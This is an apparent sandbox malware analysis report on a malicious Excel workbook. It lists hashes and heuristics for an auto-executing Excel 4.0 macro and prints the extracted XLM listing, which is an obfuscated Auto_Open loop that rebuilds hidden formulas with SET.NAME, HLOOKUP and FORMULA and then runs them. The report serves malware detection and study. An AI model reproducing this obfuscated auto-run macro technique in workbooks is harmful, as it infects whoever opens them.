Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 635d9d2c05aa2036…

MALICIOUS

Office (OLE)

36.5 KB Created: 2020-11-25 10:41:56 Authoring application: Microsoft Excel First seen: 2021-03-01
MD5: 823238cf7f45d08cd12ab987fd382628 SHA-1: 86207a86cdfa51080fe835200e3c746bad3d583a SHA-256: 635d9d2c05aa20361dadc5e2d073490f452f0aa55b687098d97e3f69547c782e
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6534 bytes
SHA-256: 66a51b22d87018385d4f89d9759d5d7863214c4adf947a5eb62bfffe325cfc2d
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     13 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  BcPD
' 0018     23 LABEL : Cell Value, String Constant - aCcowgIC len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!B184 
' 0018     25 LABEL : Cell Value, String Constant - cmYgucFHZc len=0 
' 0018     25 LABEL : Cell Value, String Constant - dYEWRGLXtn len=0 
' 0018     20 LABEL : Cell Value, String Constant - eKQKB len=0 
' 0018     24 LABEL : Cell Value, String Constant - eTRaFFqzH len=0 
' 0018     26 LABEL : Cell Value, String Constant - IxYqLjWntsr len=0 
' 0018     25 LABEL : Cell Value, String Constant - JwFTIFsFNZ len=0 
' 0018     24 LABEL : Cell Value, String Constant - ksaQuofRH len=0 
' 0018     26 LABEL : Cell Value, String Constant - kVnRqQRpMnB len=0 
' 0018     26 LABEL : Cell Value, String Constant - kxbBpBOjNzp len=0 
' 0018     24 LABEL : Cell Value, String Constant - MdphLnfiY len=0 
' 0018     26 LABEL : Cell Value, String Constant - ONFTBjezeRV len=0 
' 0018     26 LABEL : Cell Value, String Constant - QSgVHXYAdfw len=0 
' 0018     25 LABEL : Cell Value, String Constant - QzmJQSFmzT len=0 
' 0018     27 LABEL : Cell Value, String Constant - rmRYbtawEIqw len=0 
' 0018     22 LABEL : Cell Value, String Constant - RXRHpAp len=0 
' 0018     20 LABEL : Cell Value, String Constant - sxQHM len=0 
' 0018     21 LABEL : Cell Value, String Constant - UUmxkG len=0 
' 0018     26 LABEL : Cell Value, String Constant - xeFaqYLdybo len=0 
' 0018     27 LABEL : Cell Value, String Constant - zixPAkNFHYNp len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  BcPD,B101,"SET.NAME("zixPAkNFHYNp",VALUE("0"))",""
'  BcPD,B106,"SET.NAME("MdphLnfiY",zixPAkNFHYNp)",""
'  BcPD,B111,"SET.NAME("RXRHpAp",zixPAkNFHYNp)",""
'  BcPD,B114,"SET.NAME("QzmJQSFmzT",COUNTA(dYEWRGLXtn))",""
'  BcPD,B116,"SET.NAME("rmRYbtawEIqw",COUNTA(ksaQuofRH))",""
'  BcPD,B119,[],""
'  BcPD,B121,"SET.NAME("kVnRqQRpMnB","")",""
'  BcPD,B126,"MdphLnfiY",""
'  BcPD,B128,"SET.NAME("IxYqLjWntsr",HLOOKUP("*",dYEWRGLXtn,MdphLnfiY,FALSE))",""
'  BcPD,B131,"cmYgucFHZc",""
'  BcPD,B133,"SET.NAME("xeFaqYLdybo",zixPAkNFHYNp)",""
'  BcPD,B136,[],""
'  BcPD,B138,"xeFaqYLdybo",""
'  BcPD,B140,"UUmxkG",""
'  BcPD,B143,"eKQKB",""
'  BcPD,B147,"sxQHM",""
'  BcPD,B152,"SET.NAME("ONFTBjezeRV",VALUE(HLOOKUP("*",ksaQuofRH,sxQHM,FALSE)))",""
'  BcPD,B154,"aCcowgIC",""
'  BcPD,B159,"kVnRqQRpMnB",""
'  BcPD,B163,"RXRHpAp",""
'  BcPD,B165,NEXT(),""
'  BcPD,B169,"QSgVHXYAdfw",""
'  BcPD,B173,"SET.NAME("f",INT(T(FORMULA(T(kVnRqQRpMnB)&"",""&T(QSgVHXYAdfw)))))",""
'  BcPD,B175,"kxbBpBOjNzp",""
'  BcPD,B177,NEXT(),""
'  BcPD,B182,RETURN(),""
'  BcPD,B203,"SET.NAME("eTRaFFqzH",B101)",""
'  BcPD,B205,"dYEWRGLXtn",""
'  BcPD,B207,"SET.NAME("ksaQuofRH",R57C14)",""
'  BcPD,B211,"SET.NAME("kxbBpBOjNzp",219)",""
'  BcPD,B213,"SET.NAME("JwFTIFsFNZ",2)",""
'  BcPD,B218,eTRaFFqzH(),""
'  BcPD,B219,HALT(),""

Open this report in the interactive analyzer, or submit your own file for analysis.